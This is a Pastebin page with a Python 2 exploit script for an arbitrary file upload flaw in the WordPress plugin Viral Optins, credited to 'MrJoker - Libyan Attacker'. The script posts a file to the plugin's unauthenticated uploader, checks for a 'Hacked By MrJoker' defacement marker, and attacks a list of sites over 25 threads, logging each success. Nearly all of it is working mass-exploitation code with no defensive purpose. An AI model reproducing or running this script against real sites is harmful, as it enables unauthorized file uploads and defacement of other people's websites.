Mr1337Joker

[Python] WP Plugin Viral Optins - Arbitrary File Upload

Jun 15th, 2017
2,766
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.37 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #Thanks To : NULLpOint7r ( Multi Threading )
  3.  
  4. import re, sys
  5.  
  6. try :
  7.     import requests
  8. except ImportError :
  9.     print 'Install Request'
  10.     exit (-1)
  11.  
  12. from random import sample as rand
  13. from urlnorm import norm as urlnorm
  14. from threading import Thread
  15. from Queue import Queue
  16. requests.packages.urllib3.disable_warnings ()
  17. banner = '''
  18.  
  19. ,--.   ,--.            ,--.       ,--.
  20. |   `.'   |,--.--.     |  | ,---. |  |,-. ,---. ,--.--.
  21. |  |'.'|  ||  .--',--. |  || .-. ||     /| .-. :|  .--'
  22. |  |   |  ||  |   |  '-'  /' '-' '|  \ \\   --.|  |
  23. `--'   `--'`--'    `-----'  `---' `--'`--'`----'`--'
  24.  
  25. =============================================================================
  26. || Welcome To WordPrss Plugin --->  Viral Optins - Arbitrary File Upload   ||
  27. =============================================================================
  28. || Coded By : MrJoker - Libyan Attacker > To : RxR - rOx - Mr Nobody - LGH ||
  29. =============================================================================
  30. || Skype : live:mr9_9 - Face : 1337MrJoker - ICQ : 708377334               ||
  31. =============================================================================
  32. '''
  33. print banner
  34. def exploit (url, fileupload = None) :
  35.  
  36.     if fileupload == None :
  37.         fileupload = "Hacked By MrJoker"
  38.     filename = 'MrJoker.txt'
  39.     files = {
  40.         'Filedata' : (filename, fileupload, 'text/html')
  41.     }
  42.     requests.post (url + '/wp-content/plugins/viral-optins/api/uploader/file-uploader.php', verify = False, files = files)
  43.     uploader = url + 'wp-content/uploads/2017/06/' + filename
  44.     res      = requests.get (uploader, verify = False)
  45.     if 'Hacked' in res.content :
  46.         open ('Done.txt', 'a').write (uploader + '\n')
  47.         return True
  48.  
  49.     return False
  50.  
  51. def start_worker () :
  52.     while True :
  53.         try :
  54.             url = urlnorm (q.get ())
  55.  
  56.             if exploit (url) :
  57.                 sys.stdout.write (url + ' ===> Done \n')
  58.             else :
  59.                 sys.stdout.write (url + '\n')
  60.         except :
  61.             pass
  62.  
  63.         q.task_done ()
  64.  
  65. NUMBER_OF_THREADS = 25
  66. q = Queue ()
  67.  
  68. # start threads
  69. for i in range (NUMBER_OF_THREADS) :
  70.     t = Thread (target = start_worker)
  71.     t.daemon = True
  72.     t.start ()
  73.  
  74. if len (sys.argv) > 1 :
  75.     try :
  76.         file = open (sys.argv[1])
  77.     except IOError :
  78.         print 'File Not Found'
  79.         exit (-1)
  80.  
  81.     for url in file :
  82.         q.put (url.strip ())
  83.  
  84.     q.join () # block until all threads are done
  85. else :
  86.     print '\n\tUsage: python ' + sys.argv[0] + ' list.txt'
Advertisement
Add Comment
Please, Sign In to add comment